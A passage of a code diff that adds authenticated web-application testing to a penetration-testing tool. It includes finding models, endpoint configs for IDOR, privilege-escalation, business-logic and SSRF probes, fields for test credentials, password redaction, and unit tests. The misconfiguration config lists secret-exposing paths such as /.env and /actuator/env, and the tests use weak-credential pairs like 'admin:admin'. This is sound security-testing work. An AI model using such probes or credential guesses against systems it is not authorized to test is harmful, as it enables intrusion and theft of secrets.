"service_info_common", @@ -100,7 +127,14 @@ "description": "Post-scan analysis: honeypot detection, OS consistency, infrastructure leak aggregation.", "category": "correlation", "methods": ["_post_scan_correlate"] - } + }, + { + "id": "graybox", + "label": "Authenticated webapp testing", + "description": "OWASP-mapped application probes requiring login credentials: IDOR, privilege escalation, business logic, misconfiguration, injection, SSRF, and weak authentication.", + "category": "graybox", + "methods": [entry["key"] for entry in GRAYBOX_PROBE_REGISTRY] + ["_graybox_weak_auth"], + }, ] # Job status constants diff --git a/extensions/business/cybersec/red_mesh/graybox/__init__.py b/extensions/business/cybersec/red_mesh/graybox/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/extensions/business/cybersec/red_mesh/graybox/findings.py b/extensions/business/cybersec/red_mesh/graybox/findings.py new file mode 100644 index 00000000..56758221 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/findings.py @@ -0,0 +1,85 @@ +""" +Structured findings for authenticated webapp (graybox) probes. + +GrayboxFinding is the probe-level finding type. It is converted to a +unified flat finding dict (matching blackbox findings) at the report +level via to_flat_finding(). The blackbox Finding in findings.py is +NOT modified. +""" + +from __future__ import annotations + +from dataclasses import dataclass, asdict, field +from typing import Any + + +@dataclass(frozen=True) +class GrayboxFinding: + """ + Structured finding from an authenticated web-application probe. + + Uses structured evidence (list of key=value strings), multiple CWEs, + MITRE ATT&CK IDs, and explicit status outcomes. Separate type from + blackbox Finding — the two are normalized into a unified flat finding + dict at the report level by _compute_risk_and_findings(). + """ + scenario_id: str # e.g. "PT-A01-01" + title: str + status: str # "vulnerable" | "not_vulnerable" | "inconclusive" + severity: str # "CRITICAL" | "HIGH" | "MEDIUM" | "LOW" | "INFO" + owasp: str # e.g. "A01:2021" + cwe: list[str] = field(default_factory=list) # e.g. ["CWE-639", "CWE-862"] + attack: list[str] = field(default_factory=list) # MITRE ATT&CK IDs e.g. ["T1078"] + evidence: list[str] = field(default_factory=list) # ["endpoint=http://...", "status=200"] + replay_steps: list[str] = field(default_factory=list) # reproducibility steps + remediation: str = "" + error: str | None = None # non-None if probe had an error + + def to_dict(self) -> dict[str, Any]: + """JSON-safe serialization.""" + return asdict(self) + + def to_flat_finding(self, port: int, protocol: str, probe_name: str) -> dict: + """ + Normalize to the unified flat finding dict schema used in PassReport.findings. + + Converts structured graybox fields to the common schema that + _compute_risk_and_findings() produces for all finding types. + """ + import hashlib + canon_title = self.title.lower().strip() + cwe_joined = ", ".join(self.cwe) + id_input = f"{port}:{probe_name}:{cwe_joined}:{canon_title}" + finding_id = hashlib.sha256(id_input.encode()).hexdigest()[:16] + + # Map status -> confidence and effective severity + confidence_map = { + "vulnerable": "certain", + "not_vulnerable": "firm", + "inconclusive": "tentative", + } + # not_vulnerable findings contribute zero to risk score — + # override severity to INFO so they don't inflate finding_counts + effective_severity = "INFO" if self.status == "not_vulnerable" else self.severity.upper() + + return { + "finding_id": finding_id, + "probe_type": "graybox", + "severity": effective_severity, + "title": self.title, + "description": f"Scenario {self.scenario_id}: {self.title}", + "owasp_id": self.owasp, + "cwe_id": cwe_joined, + "evidence": "; ".join(self.evidence), + "remediation": self.remediation, + "confidence": confidence_map.get(self.status, "tentative"), + "port": port, + "protocol": protocol, + "probe": probe_name, + "category": "graybox", + # graybox-only fields + "scenario_id": self.scenario_id, + "status": self.status, + "replay_steps": list(self.replay_steps), + "attack_ids": list(self.attack), + } diff --git a/extensions/business/cybersec/red_mesh/graybox/models/__init__.py b/extensions/business/cybersec/red_mesh/graybox/models/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/extensions/business/cybersec/red_mesh/graybox/models/target_config.py b/extensions/business/cybersec/red_mesh/graybox/models/target_config.py new file mode 100644 index 00000000..1034f357 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/graybox/models/target_config.py @@ -0,0 +1,203 @@ +""" +Application-specific endpoint mapping for graybox probes. + +Sectioned by probe category (E4). Each probe reads only its section. +Endpoint entries use typed dataclasses — typos in keys raise at +construction time, not at runtime deep inside a probe. + +Passed to the worker via JobConfig.target_config (serialized dict). +""" + +from __future__ import annotations + +from dataclasses import dataclass, asdict, field +from typing import Any + + +# Common CSRF field names across frameworks (C5) +COMMON_CSRF_FIELDS = [ + "csrfmiddlewaretoken", # Django + "csrf_token", # Flask / WTForms + "authenticity_token", # Rails + "_csrf", # Spring Security + "_token", # Laravel +] + + +# ── Typed endpoint configs (E4) ────────────────────────────────────────── + +@dataclass(frozen=True) +class IdorEndpoint: + """Endpoint for IDOR/BOLA testing (PT-A01-01).""" + path: str # e.g. "/api/records/{id}/" + test_ids: list[int] = field(default_factory=lambda: [1, 2]) + owner_field: str = "owner" + id_param: str = "id" + + @classmethod + def from_dict(cls, d: dict) -> IdorEndpoint: + return cls( + path=d["path"], + test_ids=d.get("test_ids", [1, 2]), + owner_field=d.get("owner_field", "owner"), + id_param=d.get("id_param", "id"), + ) + + +@dataclass(frozen=True) +class AdminEndpoint: + """Endpoint for privilege escalation testing (PT-A01-02).""" + path: str # e.g. "/api/admin/export-users/" + method: str = "GET" + content_markers: list[str] = field(default_factory=list) + + @classmethod + def from_dict(cls, d: dict) -> AdminEndpoint: + return cls( + path=d["path"], + method=d.get("method", "GET"), + content_markers=d.get("content_markers", []), + ) + + +@dataclass(frozen=True) +class WorkflowEndpoint: + """Endpoint for business logic testing (PT-A06-01).""" + path: str # e.g. "/api/records/{id}/force-pay/" + method: str = "POST" + expected_guard: str = "" + + @classmethod + def from_dict(cls, d: dict) -> WorkflowEndpoint: + return cls( + path=d["path"], + method=d.get("method", "POST"), + expected_guard=d.get("expected_guard", ""), + ) + + +@dataclass(frozen=True) +class SsrfEndpoint: + """Endpoint for SSRF testing (PT-API7-01).""" + path: str # e.g. "api/fetch/" + param: str = "url" # query param that accepts a URL + + @classmethod + def from_dict(cls, d: dict) -> SsrfEndpoint: + return cls(path=d["path"], param=d.get("param", "url")) + + +# ── Probe-sectioned config (E4) ───────────────────────────────────────── + +@dataclass(frozen=True) +class AccessControlConfig: + """Config for access control probes (A01).""" + idor_endpoints: list[IdorEndpoint] = field(default_factory=list) + admin_endpoints: list[AdminEndpoint] = field(default_factory=list) + + @classmethod + def from_dict(cls, d: dict) -> AccessControlConfig: + return cls( + idor_endpoints=[IdorEndpoint.from_dict(e) for e in d.get("idor_endpoints", [])], + admin_endpoints=[AdminEndpoint.from_dict(e) for e in d.get("admin_endpoints", [])], + ) + + +@dataclass(frozen=True) +class MisconfigConfig: + """Config for misconfiguration probes (A02).""" + debug_paths: list[str] = field(default_factory=lambda: [ + "/debug/config/", "/.env", "/actuator/env", "/server-info", + "/actuator", "/server-status", + ]) + + @classmethod + def from_dict(cls, d: dict) -> MisconfigConfig: + return cls(debug_paths=d.get("debug_paths", cls.__dataclass_fields__["debug_paths"].default_factory())) + + +@dataclass(frozen=True) +class InjectionConfig: + """Config for injection probes (A03/A05/API7).""" + ssrf_endpoints: list[SsrfEndpoint] = field(default_factory=list) + + @classmethod + def from_dict(cls, d: dict) -> InjectionConfig: + return cls( + ssrf_endpoints=[SsrfEndpoint.from_dict(e) for e in d.get("ssrf_endpoints", [])], + ) + + +@dataclass(frozen=True) +class BusinessLogicConfig: + """Config for business logic probes (A06).""" + workflow_endpoints: list[WorkflowEndpoint] = field(default_factory=list) + + @classmethod + def from_dict(cls, d: dict) -> BusinessLogicConfig: + return cls( + workflow_endpoints=[WorkflowEndpoint.from_dict(e) for e in d.get("workflow_endpoints", [])], + ) + + +@dataclass(frozen=True) +class DiscoveryConfig: + """Config for route/form discovery.""" + scope_prefix: str = "" # e.g. "/api/" — only crawl under this path + max_pages: int = 50 # max pages to crawl + max_depth: int = 3 # max link-follow depth + + @classmethod + def from_dict(cls, d: dict) -> DiscoveryConfig: + return cls( + scope_prefix=d.get("scope_prefix", ""), + max_pages=d.get("max_pages", 50), + max_depth=d.get("max_depth", 3), + ) + + +# ── Main config ───────────────────────────────────────────────────────── + +@dataclass(frozen=True) +class GrayboxTargetConfig: + """ + Application-specific endpoint mapping for graybox probes. + + Sectioned by probe category. Each probe reads only its section, + and adding a new probe's config doesn't bloat unrelated sections. + Endpoint entries use typed dataclasses — typos in keys raise at + construction time, not at runtime deep inside a probe. + + Passed to the worker via JobConfig.target_config (serialized dict). + """ + # Per-probe sections (E4) + access_control: AccessControlConfig = field(default_factory=AccessControlConfig) + misconfig: MisconfigConfig = field(default_factory=MisconfigConfig) + injection: InjectionConfig = field(default_factory=InjectionConfig) + business_logic: BusinessLogicConfig = field(default_factory=BusinessLogicConfig) + discovery: DiscoveryConfig = field(default_factory=DiscoveryConfig) + + # Login endpoint configuration (shared across probes) + login_path: str = "/auth/login/" + logout_path: str = "/auth/logout/" + username_field: str = "username" + password_field: str = "password" + csrf_field: str = "" # empty = auto-detect from COMMON_CSRF_FIELDS + + def to_dict(self) -> dict: + return {k: v for k, v in asdict(self).items() if v is not None} + + @classmethod + def from_dict(cls, d: dict) -> GrayboxTargetConfig: + return cls( + access_control=AccessControlConfig.from_dict(d.get("access_control", {})), + misconfig=MisconfigConfig.from_dict(d.get("misconfig", {})), + injection=InjectionConfig.from_dict(d.get("injection", {})), + business_logic=BusinessLogicConfig.from_dict(d.get("business_logic", {})), + discovery=DiscoveryConfig.from_dict(d.get("discovery", {})), + login_path=d.get("login_path", "/auth/login/"), + logout_path=d.get("logout_path", "/auth/logout/"), + username_field=d.get("username_field", "username"), + password_field=d.get("password_field", "password"), + csrf_field=d.get("csrf_field", ""), + ) diff --git a/extensions/business/cybersec/red_mesh/mixins/report.py b/extensions/business/cybersec/red_mesh/mixins/report.py index e9e24939..1e2050bf 100644 --- a/extensions/business/cybersec/red_mesh/mixins/report.py +++ b/extensions/business/cybersec/red_mesh/mixins/report.py @@ -177,6 +177,30 @@ def _redact_report(self, report): ] return redacted + @staticmethod + def _redact_job_config(config_dict): + """ + Redact credential fields from a job config dict before persistence. + + Parameters + ---------- + config_dict : dict + JobConfig.to_dict() output. + + Returns + ------- + dict + Copy with official_password, regular_password, and weak_candidates masked. + """ + redacted = dict(config_dict) + if redacted.get("official_password"): + redacted["official_password"] = "***" + if redacted.get("regular_password"): + redacted["regular_password"] = "***" + if redacted.get("weak_candidates"): + redacted["weak_candidates"] = ["***"] * len(redacted["weak_candidates"]) + return redacted + def _compute_ui_aggregate(self, passes, latest_aggregated): """Compute pre-aggregated view for frontend from pass reports. diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 2aa77402..07e0ee54 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -48,6 +48,19 @@ class JobConfig: created_by_name: str = "" created_by_id: str = "" authorized: bool = False + # ── graybox fields ── + scan_type: str = "network" # "network" | "webapp" + target_url: str = "" # required when scan_type == "webapp" + official_username: str = "" + official_password: str = "" + regular_username: str = "" + regular_password: str = "" + weak_candidates: list = None # ["admin:admin", ...] + max_weak_attempts: int = 5 + app_routes: list = None # user-supplied known routes + verify_tls: bool = True # TLS cert verification + target_config: dict = None # GrayboxTargetConfig.to_dict() + allow_stateful_probes: bool = False # gate for A06 workflow probes def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -78,6 +91,18 @@ def from_dict(cls, d: dict) -> JobConfig: created_by_name=d.get("created_by_name", ""), created_by_id=d.get("created_by_id", ""), authorized=d.get("authorized", False), + scan_type=d.get("scan_type", "network"), + target_url=d.get("target_url", ""), + official_username=d.get("official_username", ""), + official_password=d.get("official_password", ""), + regular_username=d.get("regular_username", ""), + regular_password=d.get("regular_password", ""), + weak_candidates=d.get("weak_candidates"), + max_weak_attempts=d.get("max_weak_attempts", 5), + app_routes=d.get("app_routes"), + verify_tls=d.get("verify_tls", True), + target_config=d.get("target_config"), + allow_stateful_probes=d.get("allow_stateful_probes", False), ) @@ -198,6 +223,12 @@ class UiAggregate: top_findings: list = None # top 10 CRITICAL+HIGH findings for dashboard display finding_timeline: dict = None # { finding_id: { first_seen, last_seen, pass_count } } worker_activity: list = None # [ { id, start_port, end_port, open_ports } ] + # ── graybox-aware ── + scan_type: str = "network" + total_routes_discovered: int = 0 # webapp: discovered routes + total_forms_discovered: int = 0 # webapp: discovered forms + total_scenarios: int = 0 # webapp: probe scenarios run + total_scenarios_vulnerable: int = 0 # webapp: vulnerable count def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -215,6 +246,11 @@ def from_dict(cls, d: dict) -> UiAggregate: top_findings=d.get("top_findings"), finding_timeline=d.get("finding_timeline"), worker_activity=d.get("worker_activity"), + scan_type=d.get("scan_type", "network"), + total_routes_discovered=d.get("total_routes_discovered", 0), + total_forms_discovered=d.get("total_forms_discovered", 0), + total_scenarios=d.get("total_scenarios", 0), + total_scenarios_vulnerable=d.get("total_scenarios_vulnerable", 0), ) diff --git a/extensions/business/cybersec/red_mesh/models/shared.py b/extensions/business/cybersec/red_mesh/models/shared.py index bc0e6d4e..b565e31f 100644 --- a/extensions/business/cybersec/red_mesh/models/shared.py +++ b/extensions/business/cybersec/red_mesh/models/shared.py @@ -124,6 +124,13 @@ class ScanMetrics: open_port_details: list = None # [ { "port": 22, "protocol": "ssh", "banner_confirmed": True }, ... ] banner_confirmation: dict = None # { "confirmed": 3, "guessed": 2 } + # ── Graybox scenario stats (webapp scans only) ── + scenarios_total: int = 0 + scenarios_vulnerable: int = 0 + scenarios_clean: int = 0 + scenarios_inconclusive: int = 0 + scenarios_error: int = 0 + def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -150,4 +157,9 @@ def from_dict(cls, d: dict) -> ScanMetrics: finding_distribution=d.get("finding_distribution"), open_port_details=d.get("open_port_details"), banner_confirmation=d.get("banner_confirmation"), + scenarios_total=d.get("scenarios_total", 0), + scenarios_vulnerable=d.get("scenarios_vulnerable", 0), + scenarios_clean=d.get("scenarios_clean", 0), + scenarios_inconclusive=d.get("scenarios_inconclusive", 0), + scenarios_error=d.get("scenarios_error", 0), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 2849a77c..bfa88c21 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1750,7 +1750,10 @@ def launch_test( created_by_id=created_by_id or "", authorized=True, ) - job_config_cid = self.r1fs.add_json(job_config.to_dict(), show_logs=False) + config_dict = job_config.to_dict() + if job_config.redact_credentials: + config_dict = self._redact_job_config(config_dict) + job_config_cid = self.r1fs.add_json(config_dict, show_logs=False) if not job_config_cid: self.P("Failed to store job config in R1FS — aborting launch", color='r') return {"error": "Failed to store job config in R1FS"} diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index abb25df5..caef49e6 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -117,6 +117,7 @@ def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmF plugin.chainstore_hgetall.return_value = {} plugin.chainstore_peers = ["node-1"] plugin.cfg_chainstore_peers = ["node-1"] + plugin._redact_job_config = staticmethod(lambda d: d) return plugin @classmethod diff --git a/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py new file mode 100644 index 00000000..3faed072 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_graybox_finding.py @@ -0,0 +1,136 @@ +"""Tests for GrayboxFinding model.""" + +import json +import unittest + +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding + + +class TestGrayboxFinding(unittest.TestCase): + + def _make_finding(self, **overrides): + defaults = dict( + scenario_id="PT-A01-01", + title="IDOR on /api/records/", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + cwe=["CWE-639", "CWE-862"], + attack=["T1078"], + evidence=["endpoint=/api/records/2/", "status=200"], + replay_steps=["Login as user A", "GET /api/records/2/"], + remediation="Enforce object-level authorization.", + ) + defaults.update(overrides) + return GrayboxFinding(**defaults) + + def test_to_dict_roundtrip(self): + """to_dict() produces a JSON-safe dict.""" + f = self._make_finding() + d = f.to_dict() + self.assertIsInstance(d, dict) + # JSON serializable + serialized = json.dumps(d) + self.assertIsInstance(json.loads(serialized), dict) + # All fields present + self.assertEqual(d["scenario_id"], "PT-A01-01") + self.assertEqual(d["title"], "IDOR on /api/records/") + self.assertEqual(d["status"], "vulnerable") + self.assertEqual(d["severity"], "HIGH") + self.assertEqual(d["owasp"], "A01:2021") + self.assertEqual(d["cwe"], ["CWE-639", "CWE-862"]) + self.assertEqual(d["attack"], ["T1078"]) + + def test_to_flat_finding_vulnerable(self): + """Vulnerable status -> confidence=certain, severity preserved.""" + f = self._make_finding(status="vulnerable", severity="HIGH") + flat = f.to_flat_finding(port=443, protocol="https", probe_name="access_control") + self.assertEqual(flat["confidence"], "certain") + self.assertEqual(flat["severity"], "HIGH") + self.assertEqual(flat["probe_type"], "graybox") + self.assertEqual(flat["port"], 443) + self.assertEqual(flat["protocol"], "https") + self.assertEqual(flat["probe"], "access_control") + self.assertEqual(flat["category"], "graybox") + self.assertIn("finding_id", flat) + + def test_to_flat_finding_not_vulnerable(self): + """not_vulnerable status -> severity overridden to INFO.""" + f = self._make_finding(status="not_vulnerable", severity="HIGH") + flat = f.to_flat_finding(port=443, protocol="https", probe_name="access_control") + self.assertEqual(flat["severity"], "INFO") + self.assertEqual(flat["confidence"], "firm") + self.assertEqual(flat["status"], "not_vulnerable") + + def test_to_flat_finding_inconclusive(self): + """inconclusive status -> confidence=tentative.""" + f = self._make_finding(status="inconclusive", severity="MEDIUM") + flat = f.to_flat_finding(port=80, protocol="http", probe_name="injection") + self.assertEqual(flat["confidence"], "tentative") + self.assertEqual(flat["severity"], "MEDIUM") + + def test_evidence_joined(self): + """Evidence list is joined with '; ' in flat finding.""" + f = self._make_finding(evidence=["endpoint=/api/foo", "status=200"]) + flat = f.to_flat_finding(port=80, protocol="http", probe_name="test") + self.assertEqual(flat["evidence"], "endpoint=/api/foo; status=200") + + def test_cwe_joined(self): + """CWE list is joined with ', ' in flat finding.""" + f = self._make_finding(cwe=["CWE-639", "CWE-862"]) + flat = f.to_flat_finding(port=80, protocol="http", probe_name="test") + self.assertEqual(flat["cwe_id"], "CWE-639, CWE-862") + + def test_finding_id_deterministic(self): + """Same inputs produce the same finding_id.""" + f = self._make_finding() + flat1 = f.to_flat_finding(port=443, protocol="https", probe_name="ac") + flat2 = f.to_flat_finding(port=443, protocol="https", probe_name="ac") + self.assertEqual(flat1["finding_id"], flat2["finding_id"]) + + def test_replay_steps_preserved(self): + """Replay steps round-trip to flat finding.""" + steps = ["Login as user A", "GET /api/records/2/"] + f = self._make_finding(replay_steps=steps) + flat = f.to_flat_finding(port=80, protocol="http", probe_name="test") + self.assertEqual(flat["replay_steps"], steps) + + def test_default_factory_lists(self): + """All list fields default to [] (not None).""" + f = GrayboxFinding( + scenario_id="PT-X", title="T", status="vulnerable", + severity="LOW", owasp="A01:2021", + ) + self.assertEqual(f.cwe, []) + self.assertEqual(f.attack, []) + self.assertEqual(f.evidence, []) + self.assertEqual(f.replay_steps, []) + + def test_attack_ids_in_flat(self): + """attack_ids field in flat finding contains MITRE IDs.""" + f = self._make_finding(attack=["T1078", "T1110"]) + flat = f.to_flat_finding(port=80, protocol="http", probe_name="test") + self.assertEqual(flat["attack_ids"], ["T1078", "T1110"]) + + def test_description_format(self): + """Description includes scenario_id and title.""" + f = self._make_finding(scenario_id="PT-A03-01", title="SQL Injection") + flat = f.to_flat_finding(port=80, protocol="http", probe_name="inj") + self.assertEqual(flat["description"], "Scenario PT-A03-01: SQL Injection") + + def test_error_field(self): + """error field is None by default, can be set.""" + f = self._make_finding() + self.assertIsNone(f.error) + f2 = self._make_finding(error="Connection refused") + self.assertEqual(f2.error, "Connection refused") + + def test_frozen(self): + """Finding is immutable.""" + f = self._make_finding() + with self.assertRaises(AttributeError): + f.title = "Changed" + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py b/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py new file mode 100644 index 00000000..6fa2401a --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py @@ -0,0 +1,227 @@ +"""Tests for JobConfig graybox fields and blackbox Finding unchanged.""" + +import unittest + +from extensions.business.cybersec.red_mesh.models.archive import JobConfig, UiAggregate +from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics +from extensions.business.cybersec.red_mesh.findings import Finding, Severity + + +class TestJobConfigWebapp(unittest.TestCase): + + def test_scan_type_default(self): + """scan_type defaults to 'network'.""" + cfg = JobConfig( + target="10.0.0.1", start_port=1, end_port=1024, + exceptions=[], distribution_strategy="SLICE", + port_order="SEQUENTIAL", nr_local_workers=2, + enabled_features=[], excluded_features=[], + run_mode="SINGLEPASS", + ) + self.assertEqual(cfg.scan_type, "network") + + def test_from_dict_with_graybox_fields(self): + """Round-trip with all graybox fields.""" + d = { + "target": "example.com", + "start_port": 1, + "end_port": 65535, + "exceptions": [], + "distribution_strategy": "SLICE", + "port_order": "SEQUENTIAL", + "nr_local_workers": 1, + "enabled_features": [], + "excluded_features": [], + "run_mode": "SINGLEPASS", + "scan_type": "webapp", + "target_url": "https://example.com/", + "official_username": "admin", + "official_password": "secret123", + "regular_username": "user", + "regular_password": "pass456", + "weak_candidates": ["admin:admin", "test:test"], + "max_weak_attempts": 10, + "app_routes": ["/api/users/", "/api/records/"], + "verify_tls": False, + "target_config": {"login_path": "/login/"}, + "allow_stateful_probes": True, + } + cfg = JobConfig.from_dict(d) + self.assertEqual(cfg.scan_type, "webapp") + self.assertEqual(cfg.target_url, "https://example.com/") + self.assertEqual(cfg.official_username, "admin") + self.assertEqual(cfg.official_password, "secret123") + self.assertEqual(cfg.regular_username, "user") + self.assertEqual(cfg.regular_password, "pass456") + self.assertEqual(cfg.weak_candidates, ["admin:admin", "test:test"]) + self.assertEqual(cfg.max_weak_attempts, 10) + self.assertEqual(cfg.app_routes, ["/api/users/", "/api/records/"]) + self.assertFalse(cfg.verify_tls) + self.assertEqual(cfg.target_config, {"login_path": "/login/"}) + self.assertTrue(cfg.allow_stateful_probes) + + # Round-trip + restored = JobConfig.from_dict(cfg.to_dict()) + self.assertEqual(restored.scan_type, cfg.scan_type) + self.assertEqual(restored.target_url, cfg.target_url) + self.assertEqual(restored.official_username, cfg.official_username) + self.assertEqual(restored.weak_candidates, cfg.weak_candidates) + self.assertEqual(restored.allow_stateful_probes, cfg.allow_stateful_probes) + + def test_graybox_defaults(self): + """All graybox fields have sensible defaults.""" + cfg = JobConfig( + target="x", start_port=1, end_port=1, + exceptions=[], distribution_strategy="SLICE", + port_order="SEQUENTIAL", nr_local_workers=1, + enabled_features=[], excluded_features=[], + run_mode="SINGLEPASS", + ) + self.assertEqual(cfg.scan_type, "network") + self.assertEqual(cfg.target_url, "") + self.assertEqual(cfg.official_username, "") + self.assertEqual(cfg.official_password, "") + self.assertEqual(cfg.regular_username, "") + self.assertEqual(cfg.regular_password, "") + self.assertIsNone(cfg.weak_candidates) + self.assertEqual(cfg.max_weak_attempts, 5) + self.assertIsNone(cfg.app_routes) + self.assertTrue(cfg.verify_tls) + self.assertIsNone(cfg.target_config) + self.assertFalse(cfg.allow_stateful_probes) + + def test_redaction_masks_passwords(self): + """to_dict() includes passwords; redaction must happen at API level.""" + cfg = JobConfig( + target="x", start_port=1, end_port=1, + exceptions=[], distribution_strategy="SLICE", + port_order="SEQUENTIAL", nr_local_workers=1, + enabled_features=[], excluded_features=[], + run_mode="SINGLEPASS", + official_password="secret", + regular_password="pass", + weak_candidates=["admin:admin"], + ) + d = cfg.to_dict() + # Passwords are present in to_dict() (redaction is at the API level) + self.assertEqual(d["official_password"], "secret") + self.assertEqual(d["regular_password"], "pass") + self.assertEqual(d["weak_candidates"], ["admin:admin"]) + + def test_redact_job_config_masks_credentials(self): + """_redact_job_config masks passwords and weak_candidates.""" + from extensions.business.cybersec.red_mesh.mixins.report import _ReportMixin + d = { + "target": "x", + "official_username": "admin", + "official_password": "secret", + "regular_username": "user", + "regular_password": "pass", + "weak_candidates": ["admin:admin", "test:test"], + } + redacted = _ReportMixin._redact_job_config(d) + self.assertEqual(redacted["official_password"], "***") + self.assertEqual(redacted["regular_password"], "***") + self.assertEqual(redacted["weak_candidates"], ["***", "***"]) + # Usernames are NOT masked + self.assertEqual(redacted["official_username"], "admin") + self.assertEqual(redacted["regular_username"], "user") + + def test_redact_job_config_noop_when_empty(self): + """_redact_job_config is a no-op when credential fields are empty/absent.""" + from extensions.business.cybersec.red_mesh.mixins.report import _ReportMixin + d = {"target": "x", "official_password": "", "regular_password": ""} + redacted = _ReportMixin._redact_job_config(d) + self.assertEqual(redacted["official_password"], "") + self.assertEqual(redacted["regular_password"], "") + + +class TestUiAggregateGraybox(unittest.TestCase): + + def test_graybox_fields_default(self): + """UiAggregate graybox fields default to 0 / 'network'.""" + ui = UiAggregate(total_open_ports=[], total_services=0, total_findings=0) + self.assertEqual(ui.scan_type, "network") + self.assertEqual(ui.total_routes_discovered, 0) + self.assertEqual(ui.total_forms_discovered, 0) + self.assertEqual(ui.total_scenarios, 0) + self.assertEqual(ui.total_scenarios_vulnerable, 0) + + def test_graybox_fields_roundtrip(self): + """UiAggregate graybox fields round-trip.""" + ui = UiAggregate( + total_open_ports=[443], total_services=1, total_findings=5, + scan_type="webapp", total_routes_discovered=12, + total_forms_discovered=3, total_scenarios=8, + total_scenarios_vulnerable=2, + ) + d = ui.to_dict() + restored = UiAggregate.from_dict(d) + self.assertEqual(restored.scan_type, "webapp") + self.assertEqual(restored.total_routes_discovered, 12) + self.assertEqual(restored.total_forms_discovered, 3) + self.assertEqual(restored.total_scenarios, 8) + self.assertEqual(restored.total_scenarios_vulnerable, 2) + + +class TestScanMetricsGraybox(unittest.TestCase): + + def test_scenario_fields_default(self): + """ScanMetrics scenario counters default to 0.""" + m = ScanMetrics() + self.assertEqual(m.scenarios_total, 0) + self.assertEqual(m.scenarios_vulnerable, 0) + self.assertEqual(m.scenarios_clean, 0) + self.assertEqual(m.scenarios_inconclusive, 0) + self.assertEqual(m.scenarios_error, 0) + + def test_scenario_fields_roundtrip(self): + """ScanMetrics scenario counters round-trip.""" + m = ScanMetrics( + scenarios_total=10, scenarios_vulnerable=3, + scenarios_clean=5, scenarios_inconclusive=1, + scenarios_error=1, + ) + d = m.to_dict() + restored = ScanMetrics.from_dict(d) + self.assertEqual(restored.scenarios_total, 10) + self.assertEqual(restored.scenarios_vulnerable, 3) + self.assertEqual(restored.scenarios_clean, 5) + self.assertEqual(restored.scenarios_inconclusive, 1) + self.assertEqual(restored.scenarios_error, 1) + + +class TestFindingUnchanged(unittest.TestCase): + """Verify blackbox Finding dataclass is not modified.""" + + def test_finding_has_8_fields(self): + """Finding has exactly 8 fields — no new fields added.""" + import dataclasses + fields = dataclasses.fields(Finding) + self.assertEqual(len(fields), 8, f"Expected 8 fields, got {len(fields)}: {[f.name for f in fields]}") + + def test_finding_no_probe_type(self): + """Finding does not have a probe_type attribute.""" + self.assertFalse(hasattr(Finding, 'probe_type')) + f = Finding(severity=Severity.HIGH, title="Test", description="Desc") + self.assertFalse(hasattr(f, 'probe_type')) + + def test_existing_construction_unchanged(self): + """Existing Finding construction still works.""" + f = Finding( + severity=Severity.CRITICAL, + title="SQL Injection", + description="Found SQL injection in /api/search", + evidence="error-based: syntax error near 'OR'", + remediation="Use parameterized queries", + owasp_id="A03:2021", + cwe_id="CWE-89", + confidence="certain", + ) + self.assertEqual(f.severity, Severity.CRITICAL) + self.assertEqual(f.title, "SQL Injection") + self.assertEqual(f.confidence, "certain") + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_target_config.py b/extensions/business/cybersec/red_mesh/tests/test_target_config.py new file mode 100644 index 00000000..7ac8bb78 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_target_config.py @@ -0,0 +1,192 @@ +"""Tests for GrayboxTargetConfig and typed endpoint models.""" + +import unittest + +from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( + GrayboxTargetConfig, + IdorEndpoint, + AdminEndpoint, + WorkflowEndpoint, + SsrfEndpoint, + AccessControlConfig, + MisconfigConfig, + InjectionConfig, + BusinessLogicConfig, + DiscoveryConfig, + COMMON_CSRF_FIELDS, +) +from extensions.business.cybersec.red_mesh.constants import ( + ScanType, + GRAYBOX_PROBE_REGISTRY, +) + + +class TestGrayboxTargetConfig(unittest.TestCase): + + def test_defaults(self): + """All sections empty by default, login_path is /auth/login/.""" + cfg = GrayboxTargetConfig() + self.assertEqual(cfg.login_path, "/auth/login/") + self.assertEqual(cfg.logout_path, "/auth/logout/") + self.assertEqual(cfg.username_field, "username") + self.assertEqual(cfg.password_field, "password") + self.assertEqual(cfg.csrf_field, "") + self.assertEqual(cfg.access_control.idor_endpoints, []) + self.assertEqual(cfg.access_control.admin_endpoints, []) + self.assertEqual(cfg.injection.ssrf_endpoints, []) + self.assertEqual(cfg.business_logic.workflow_endpoints, []) + self.assertEqual(cfg.discovery.max_pages, 50) + self.assertEqual(cfg.discovery.max_depth, 3) + + def test_from_dict_roundtrip(self): + """Round-trip to_dict/from_dict with sectioned format.""" + cfg = GrayboxTargetConfig( + access_control=AccessControlConfig( + idor_endpoints=[IdorEndpoint(path="/api/records/{id}/", test_ids=[1, 2, 3])], + admin_endpoints=[AdminEndpoint(path="/api/admin/export/")], + ), + injection=InjectionConfig( + 